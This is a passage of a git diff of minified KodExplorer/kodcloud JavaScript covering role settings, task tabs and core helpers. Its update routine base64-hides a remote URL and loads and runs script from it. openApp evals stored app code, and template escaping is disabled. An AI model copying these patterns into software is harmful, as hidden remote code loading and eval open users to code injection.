          \n\n');;define("app/src/setting/system/systemRole",[],function(a,b){var c,d,e=function(a){$.ajax({url:G.appHost+"systemRole/get",dataType:"json",async:!1,success:function(a){return a.code?(c=a.data,f(),void 0==d&&(d="1"),void g(d)):void Tips.tips(a)}})},f=function(){var a="";$.each(c,function(b,c){a+='
        • '+c.name+'
        • '}),a+='
        • ',$(".role-list-cell").html(a)},g=function(a){var b;d=a,1==d?($("#content-system-role .together").addClass("hidden"),$("#content-system-role .together.input").removeClass("hidden").children().addClass("hidden"),$("#content-system-role .form-row-submit .revert").addClass("hidden"),$("#content-system-role .warning").addClass("hidden"),$("#content-system-role .together.input").children().first().removeClass("hidden"),$(''+LNG.system_role_admin_tips+"").appendTo(".group-editor .setting-content")):($("#content-system-role .together").removeClass("hidden"),$("#content-system-role .form-row-submit .revert").removeClass("hidden"),$("#content-system-role .warning").removeClass("hidden"),$("#content-system-role .together.input").children().removeClass("hidden"),$(".group-editor .admin-role").remove()),$(".system-role li.role-cell").removeClass("select"),$(".system-role [data-role-id="+a+"]").addClass("select"),$("#content-system-role [data-action=role-delete]").show(),$("#content-system-role .group-title .label-info").show(),"0"==a?(b={name:"",extNotAllow:"htm|html|php|phtml|pwml|asp|aspx|ascx|jsp|pl|htaccess|shtml|shtm|phtm"},$("#content-system-role [data-action=role-delete]").hide(),$("#content-system-role .group-title .label-info").hide(),$("#content-system-role .role_title").html(LNG.system_role_add)):(b=c[a],$("#content-system-role .role_title").html(b.name),$("#content-system-role .role-id").html(a)),$(".group-editor #name").val(b.name).textFocus(),$(".group-editor #extNotAllow").val(b.extNotAllow),$(".group-editor .tag").removeClass("this"),$(".group-editor input").removeAttr("checked"),$(".group-editor .tag").each(function(){var a=$(this),c=a.attr("data-role");c=c.split(";"),c=c[0],b[c]&&(a.addClass("this"),a.find("input").attr("checked",!0))})},h=function(){if(!G.isRoot)return void Tips.tips(LNG.group_role_error,"warning");var a=$(".group-editor #name").val(),b=$(".group-editor #extNotAllow").val(),c={},f=G.appHost+"systemRole/add";return void 0==b&&(b=""),""==trim(a)?(Tips.tips(LNG.not_null,"error"),!1):($(".group-editor .together:visible .tag.this").each(function(){for(var a=$(this).attr("data-role").split(";"),b=0;b"+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:G.appHost+"systemRole/del&roleID="+a,async:!1,dataType:"json",success:function(a){Tips.tips(a),a.code&&(d=void 0,e(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}}):void Tips.tips(LNG.group_role_error,"warning")},j=function(){$(".group-editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group-editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group-editor .combox:eq(0) .tag").removeClass("this"),$(".group-editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group-editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group-editor .combox:eq(1) .tag").removeClass("this"),$(".group-editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},k=function(){$(".group-editor .tag").live("click",function(){var a=$(this);if(select=!1,a.toggleClass("this"),a.hasClass("this")?(select=!0,a.find("input").attr("checked",!0)):(select=!1,a.find("input").removeAttr("checked")),a.parent().hasClass("combox")){var b=a.index();1==b&&0==select&&(a.parent().find(".tag").removeClass("this"),a.parent().find("input").removeAttr("checked")),1!=b&&1==select&&(a.parent().find(".tag:eq(0)").addClass("this"),a.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system-role li.role-cell").live("click",function(){g($(this).attr("data-role-id"))}),$("#content-system-role [data-action]").live("click",function(a){var b=$(this).attr("data-action");$(this);switch(b){case"role-delete":i(d);break;case"role-edit-save":h();break;case"revert-all":j()}stopPP(a)})},l=function(a){var b=c[a];return b?b.name:'null'},m=function(){var a={};return $.each(c,function(b,c){a[b]=c.name}),a};return k(),{init:e,getList:m,setSelect:g}});;define("app/src/setting/system/systemGroupRole",["./tpl/groupRoleSetting.html"],function(a,b){var c,d,e=function(a){f(),m(),"function"==typeof a&&a()},f=function(){$.get(G.appHost+"systemRole/get&group_role=1&action=get",function(a){c=a.data,d=a.info})},g=function(){System.systemMember.resetUserList()},h=function(){var b=a("./tpl/groupRoleSetting.html"),e=template.compile(b),f=e({LNG:LNG,groupRoleData:c,roleDefine:d,style:["blue-deep","blue-nomal","blue-light","grey-deep","grey-nomal","grey-light","yellow-deep","yellow-nomal","yellow-light","green-deep","green-nomal","green-light"]});$.dialog({id:"system-role-group-box",resize:!0,width:700,height:590,title:LNG.system_group_role_title,padding:"0",opacity:.3,background:"#fff",lock:!0,fixed:!0,content:f});i()},i=function(a){var b="";$.each(c,function(a,c){b+=''+c.name+''}),b+='',$(".group-role-setting .role-list-cell").html(b),void 0==a&&(a="1"),j(a)},j=function(a){var b=c[a],d=$(".group-role-setting"),e=$(".system-group-role-save"),f=$(".system-group-role-remove");d.find(".role-cell").removeClass("select"),d.find("[data-role-id="+a+"]").addClass("select"),e.html(LNG.button_save),f.removeClass("hidden"),b||(b={name:"",style:"blue-deep",display:1,actions:[]},e.html(LNG.button_add),f.addClass("hidden")),d.find("[name=name]").val(b.name),d.find("[name=display]").prop("checked",parseInt(b.display)),d.find(".role-label-display").html(b.name),d.find(".group-role-check .checkbox").prop("checked",!1),$.each(b.actions,function(a,b){1==b&&d.find('[data-role="'+a+'"]').prop("checked",!0)}),l(b.style),k()},k=function(){$(".item-main[data-role-group]").each(function(){var a=($(this).attr("data-role-group"),$(this).next().find(".checkbox").length,$(this).next().find(".checkbox:checked").length);0==a?$(this).find(".checkbox").prop("checked",!1):$(this).find(".checkbox").prop("checked",!0)})},l=function(a){var b=".group-role-setting";$(b).find(".role-style").removeClass("select"),$(this).addClass("select");var c=$(b).find("[name=style]"),d=$(b+" .role-label-display");d.removeClass("label-"+c.val()).addClass("label-"+a),c.val(a)},m=function(){var a=".group-role-setting";$(a).find(".role-cell").die("click").live("click",function(){var a=$(this).attr("data-role-id");j(a)}),$(a).find(".item-main").die("click").live("click",function(){var a=$(this).attr("data-role-group"),b=$(this).find("input").prop("checked");$("[data-role-group="+a+"] .checkbox").prop("checked",b)}),$(a).find(".group-role-check .content .item").die("click").live("click",function(){k()}),$(a).find(".role-style").die("click").live("click",function(){var a=$(this).attr("data-style");l(a)}),$(a).find("[name=name]").die("input propertychange").live("input propertychange",function(){$(a).find(".role-label-display").html($(this).val())}),$(".system-group-role-save").die("click").live("click",function(){var b=$(a).find(".role-cell.select").attr("data-role-id"),d="set";"0"==b&&(d="add");var e={};$(a).find(".group-role-check .content .checkbox").each(function(){var a=$(this).attr("data-role"),b=Number($(this).prop("checked"));e[a]=b});var f={name:$(a).find("[name=name]").val(),style:$(a).find("[name=style]").val(),display:Number($(a).find("[name=display]").prop("checked")),actions:e};return""==trim(f.name)?(Tips.tips(LNG.not_null,"error"),!1):void $.ajax({url:G.appHost+"systemRole/roleGroupAction&action="+d+"&roleID="+b,beforeSend:function(){Tips.loading()},data:"role_arr="+jsonEncode(f),error:core.ajaxError,success:function(a){if(Tips.close(a),a.code){c=a.info,g();var e=b;"add"==d&&(e=a.data[0]),i(e)}}})}),$(".system-group-role-remove").die("click").live("click",function(){var b=$(a).find(".role-cell.select").attr("data-role-id");return"1"==b||"2"==b?void Tips.tips(LNG.default_user_can_not_do,"warning"):void n(b)})},n=function(a){$.dialog({id:"dialog-user-confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:LNG.system_group_role_remove,ok:function(){$.ajax({url:G.appHost+"systemRole/roleGroupAction&action=del&roleID="+a,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&(c=a.info,i(),g())}})},cancel:!0})};return{init:e,showBox:h,getList:function(){return c}}});;define("app/src/setting/system/tpl/groupRoleSetting.html",[],'\n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.name}}:
          \n
          \n \n
          \n
          \n
          \n
          {{LNG.system_group_role_style}}:
          \n
          \n \n \n \n
          \n \n
          \n
          \n
          {{LNG.system_group_role_display}}:
          \n
          \n \n
          \n
          \n \n
          \n
          \n
          {{LNG.permission}}:
          \n
          \n {{each roleDefine value key}}\n
          \n \n
          \n\n
          \n {{each value valueAction keyItem}}\n
          \n \n
          \n {{/each}}\n
          \n {{/each}}\n
          \n
          \n\n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n\n
          \n
          \n'); \ No newline at end of file diff --git a/static/js/app/src/shareEditor/main.js b/static/js/app/src/shareEditor/main.js index aa7a710..b240b07 100755 --- a/static/js/app/src/shareEditor/main.js +++ b/static/js/app/src/shareEditor/main.js @@ -1,6 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/shareEditor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/ace/src-min-noconflict/ace","../../common/taskTap","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../shareCommon/rightMenu","./ui","../../common/tree","../../path/pathOperate","../../path/clipboard","../../path/search","../../shareCommon/topbar"],function(e){Config={TreeId:"folder-list-tree",AnimateTime:200,pageApp:"editor",treeAjaxURL:"share/treeList&app=editor&user="+G.user+"&sid="+G.sid},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/ace/src-min-noconflict/ace"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../shareCommon/rightMenu"),ui=e("./ui"),tree=e("../../common/tree"),ui.tree=tree;var t=e("../../shareCommon/topbar");$(document).ready(function(){rightMenu.initEditor(),core.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),t.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init()})}),define("app/common/taskTap",[],function(){var e={},t="",a=160,i=function(){$(".task-tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),a=$.dialog.list[t];if(void 0==a)return c(t),void 0;var i=$("."+t);"hidden"==i.css("visibility")?a.display(!0).zIndex():i.hasClass("aui-state-focus")?a.display(!1):a.zIndex()},o=function(){var e,t,i,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task-tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){g(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(a){s=!0,r=!0,l=a.pageX,$tab_parent=$(".task-tab"),t=$(".task-tab .tab"),$(".tasktab-dragging").remove(),i=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=a.clientX-l+c;$("body").prepend("
          "),i.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(a){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(a);var n=a.clientX-l+c;f>n||n>f+u-d||(i.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(i,n){if(!e.is(":animated")||o!=i){o=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task-tab .tab");var s=e.width(),r=$(".task-tab #"+i),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},a),l.animate({width:"0px"},a,function(){$(this).remove(),t=$(".task-tab .tab")})}},g=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=i&&(c=e.get(0).getBoundingClientRect().left,i.animate({left:c+"px"},a,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,i=t,n=t+12,o=$(".task-tab .tab"),s=$(".task-tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(i=Math.floor(s/r)-12),e){case"add":$(".task-tab .tabs .this").css("width","0").animate({width:i+"px"},a);case"close":o.animate({width:i+"px"},a);break;case"resize":o.css("width",i+"px");break;default:}},r=function(t,a){$(".task-tab").removeClass("hidden");var i=a.replace(/<[^>]+>/g,""),n='";$(n).insertBefore(".task-tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task-tab .this").removeClass("this"),$(".task-tab #"+e).addClass("this"),t=e},c=function(t){$(".task-tab #"+t).animate({width:0},a,function(){if($(".task-tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&!core.isApp("desktop")){var e=31;$(".task-tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"quit-others":$.each($.dialog.list,function(e,t){a!=e&&t.close()});break;case"quit":i.close()}}})},p=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var a=t.$trigger.attr("id");switch($.dialog.list[a],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
          ';$(e).appendTo("body"),core.isApp("desktop")||$(".task-tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),i(),d(),p(),o()}}}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
          ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
          请联系主机商或网管,检查防火墙配置!"),i='
          '+i+"
          ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var 